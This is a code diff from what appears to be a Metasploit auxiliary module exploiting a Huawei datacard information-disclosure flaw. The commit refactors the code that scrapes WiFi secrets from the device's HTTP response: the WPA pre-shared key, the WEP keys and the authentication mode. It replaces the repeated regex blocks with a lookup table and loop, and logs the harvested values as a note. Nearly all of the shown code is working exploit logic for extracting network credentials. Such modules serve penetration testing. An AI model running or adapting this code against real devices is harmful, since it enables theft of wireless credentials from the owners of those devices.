@@ -39,6 +39,18 @@ class Metasploit3 < Msf::Auxiliary
39
39
'DHCP Lease Time' => /<DhcpLeaseTime>(.*)<\/ DhcpLeaseTime>/i
40
40
}
41
41
42
+ WIFI_INFO = {
43
+ 'Wifi WPA pre-shared key' => /<WifiWpapsk>(.*)<\/ WifiWpapsk>/i ,
44
+ 'Wifi Auth mode' => /<WifiAuthmode>(.*)<\/ WifiAuthmode>/i ,
45
+ 'Wifi Basic encryption modes' => /<WifiBasicencryptionmodes>(.*)<\/ WifiBasicencryptionmodes>/i ,
46
+ 'Wifi WPA Encryption Modes' => /<WifiWpaencryptionmodes>(.*)<\/ WifiWpaencryptionmodes>/i ,
47
+ 'Wifi WEP Key1' => /<WifiWepKey1>(.*)<\/ WifiWepKey1>/i ,
48
+ 'Wifi WEP Key2' => /<WifiWepKey2>(.*)<\/ WifiWepKey2>/i ,
49
+ 'Wifi WEP Key3' => /<WifiWepKey3>(.*)<\/ WifiWepKey3>/i ,
50
+ 'Wifi WEP Key4' => /<WifiWepKey4>(.*)<\/ WifiWepKey4>/i ,
51
+ 'Wifi WEP Key Index' => /<WifiWepKeyIndex>(.*)<\/ WifiWepKeyIndex>/i
52
+ }
53
+
42
54
def initialize ( info = { } )
43
55
super ( update_info ( info ,
44
56
'Name' => "Huawei Datacard Information Disclosure Vulnerability" ,
@@ -97,80 +109,29 @@ def get_wifi_info
97
109
return
98
110
end
99
111
100
- print_status ( '---===[ WiFi Key Details ]===---' )
101
-
102
- wifissid = get_router_ssid
103
- if wifissid
104
- print_status ( "WiFi SSID: #{ wifissid } " )
105
- end
106
-
107
- # Grabbing the wifiwpapsk
108
- if res . body . match ( /<WifiWpapsk>(.*)<\/ WifiWpapsk>/i )
109
- wifiwpapsk = $1
110
- print_status ( "Wifi WPA pre-shared key: #{ wifiwpapsk } " )
111
- end
112
-
113
- # Grabbing the WifiAuthmode
114
- if res . body . match ( /<WifiAuthmode>(.*)<\/ WifiAuthmode>/i )
115
- wifiauthmode = $1
116
- print_status ( "Wifi Auth mode: #{ wifiauthmode } " )
117
- end
118
-
119
- # Grabbing the WifiBasicencryptionmodes
120
- if res . body . match ( /<WifiBasicencryptionmodes>(.*)<\/ WifiBasicencryptionmodes>/i )
121
- wifibasicencryptionmodes = $1
122
- print_status ( "Wifi Basic encryption modes: #{ wifibasicencryptionmodes } " )
123
- end
124
-
125
- # Grabbing the WifiWpaencryptionmodes
126
- if res . body . match ( /<WifiWpaencryptionmodes>(.*)<\/ WifiWpaencryptionmodes>/i )
127
- wifiwpaencryptionmodes = $1
128
- print_status ( "Wifi WPA Encryption Modes: #{ wifiwpaencryptionmodes } " )
129
- end
130
-
131
- # Grabbing the WifiWepKey1
132
- if res . body . match ( /<WifiWepKey1>(.*)<\/ WifiWepKey1>/i )
133
- wifiwepkey1 = $1
134
- print_status ( "Wifi WEP Key1: #{ wifiwepkey1 } " )
135
- end
136
-
137
- # Grabbing the WifiWepKey2
138
- if res . body . match ( /<WifiWepKey2>(.*)<\/ WifiWepKey2>/i )
139
- wifiwepkey2 = $1
140
- print_status ( "Wifi WEP Key2: #{ wifiwepkey2 } " )
141
- end
112
+ resp_body = res . body . to_s
113
+ log = ''
142
114
143
- # Grabbing the WifiWepKey3
144
- if res . body . match ( /<WifiWepKey3>(.*)<\/ WifiWepKey3>/i )
145
- wifiwepkey3 = $1
146
- print_status ( "Wifi WEP Key3: #{ wifiwepkey3 } " )
147
- end
115
+ print_status ( 'WiFi Key Details' )
148
116
149
- # Grabbing the WifiWepKey4
150
- if res . body . match ( /<WifiWepKey4>(.*)< \/ WifiWepKey4>/i )
151
- wifiwepkey4 = $1
152
- print_status ( "Wifi WEP Key4 : #{ wifiwepkey4 } " )
117
+ wifi_ssid = get_router_ssid
118
+ if wifi_ssid
119
+ print_status ( "WiFi SSID: #{ wifi_ssid } " )
120
+ log << "WiFi SSID : #{ wifi_ssid } \n "
153
121
end
154
122
155
- # Grabbing the WifiWepKeyIndex
156
- if res . body . match ( /<WifiWepKeyIndex>(.*)<\/ WifiWepKeyIndex>/i )
157
- wifiwepkeyindex = $1
158
- print_status ( "Wifi WEP Key Index: #{ wifiwepkeyindex } " )
123
+ WIFI_INFO . each do |k , v |
124
+ if resp_body . match ( v )
125
+ info = $1
126
+ print_status ( "#{ k } : #{ info } " )
127
+ log << "#{ k } : #{ info } \n "
128
+ end
159
129
end
160
130
161
- credentials = {
162
- 'Access Point' => rhost ,
163
- 'SSID' => wifissid ,
164
- 'WPA Key' => wifiwpapsk ,
165
- '802.11 Auth' => wifiauthmode ,
166
- 'EncryptionMode' => wifiwpaencryptionmodes ,
167
- 'WEP Key' => wifiwepkey1
168
- }
169
-
170
131
report_note (
171
132
:host => rhost ,
172
- :type => 'password ' ,
173
- :data => credentials
133
+ :type => 'wifi_keys ' ,
134
+ :data => log
174
135
)
175
136
end
176
137
0 commit comments